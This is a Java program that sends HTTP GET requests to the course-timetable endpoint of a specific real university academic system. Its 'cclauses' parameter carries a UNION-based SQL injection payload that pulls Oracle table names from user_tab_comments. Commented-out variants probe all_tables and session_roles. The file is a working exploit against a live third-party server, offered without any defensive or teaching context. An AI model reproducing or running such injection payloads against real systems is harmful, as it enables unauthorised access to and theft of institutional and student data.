import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.UnsupportedEncodingException;
import java.net.URLEncoder;
import java.util.ArrayList;
import java.util.List;

import org.apache.http.Header;
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.NameValuePair;
import org.apache.http.client.methods.CloseableHttpResponse;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClientBuilder;
import org.apache.http.message.BasicNameValuePair;

public class AllTable {
	public static void main(String args[]) throws Exception {
		new AllTable().testGet();
	}

	public String generateGetUrl(String url, List<NameValuePair> params)
			throws UnsupportedEncodingException {
		String tempStr = "";
		for (int i = 0; i < params.size(); i++)
			tempStr = tempStr + params.get(i).getName() + "="
					+ URLEncoder.encode(params.get(i).getValue(), "gbk") + "&";
		tempStr = tempStr.substring(0, tempStr.length() - 1);
		return url + "?" + tempStr;
	}

	void testGet() throws Exception {
		CloseableHttpClient client = HttpClientBuilder.create().build();
		HttpGet httpGet = new HttpGet();
		httpGet.addHeader(
				"User-Agent",
				"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 1.7; .NET CLR 1.1.4322; CIBA; .NET CLR 2.0.50727)");
		httpGet.addHeader("Accept", "");
		httpGet.addHeader("Accept-Encoding", "");
		httpGet.addHeader("", "");
		httpGet.addHeader("", "");
		httpGet.addHeader("", "");
		httpGet.addHeader("", "");
		httpGet.addHeader("", "");
		// String url = "http://www.baidu.com";
		String url = "http://jwxt.sdu.edu.cn:7890/pls/wwwbks/qcb.table_browse";
		List<NameValuePair> nvps = new ArrayList<NameValuePair>();
		nvps.add(new BasicNameValuePair("ctable", "本学期课程表"));
		nvps.add(new BasicNameValuePair("ntable_type", "1"));
		// nvps.add(new BasicNameValuePair(
		// "ccolumns",
		// "课程号,详细信息,课序号,课程学分,课程名称,开课系,任课教师,上课地点,上课日期,上课节次,中文上课周次,本科生课容量,本科生课余量,选课限制说明,考试类型"));
		// 数据库版本
		// nvps.add(new BasicNameValuePair("cclauses",
		// "where (开课系 like '%水水%' and exists (select * from All_Tables ))"));

		// nvps.add(new BasicNameValuePair("cclauses",
		// "where (开课系 like '%水水%') union all select NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,(select TABLE_NAME from all_tables where owner='JW' and rownum=1)) from dual"));

		// 当前用户权限 (select * from session_roles)
		nvps.add(new BasicNameValuePair(
				"cclauses",
				"where (开课系 like '%将将%') union all select NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,(select data from (select rownum as limit,TABLE_NAME as data from user_tab_comments ) where limit =20)  from dual "));

		nvps.add(new BasicNameValuePair("nrow_min", "1"));
		nvps.add(new BasicNameValuePair("nrow_min", "15"));
		url = generateGetUrl(url, nvps);
		CloseableHttpResponse response = client.execute(new HttpGet(url));
		HttpEntity entity = response.getEntity();

		// 查看所有返回头部信息
		printHeader(response);
		printBody(entity, response);
	}

	void printBody(HttpEntity entity, HttpResponse response)
			throws IllegalStateException, IOException {
		if (entity != null) {
			InputStream is = entity.getContent();
			BufferedReader br = new BufferedReader(new InputStreamReader(is,
					"GBK"));
			String line = "";
			while ((line = br.readLine()) != null)
				System.out.println(line);
			is.close();
		}
	}

	void printHeader(HttpResponse response) {
		System.out.println("###############################################");
		System.out.println("###############################################");
		System.out.println("返回值" + ":"
				+ response.getStatusLine().getStatusCode());
		Header headers[] = response.getAllHeaders();
		int ii = 0;
		while (ii < headers.length) {
			System.out.println(headers[ii].getName() + ": "
					+ headers[ii].getValue());
			++ii;
		}
		System.out
				.println("###############################################\n\n");

	}

	void testPost() {

	}
}
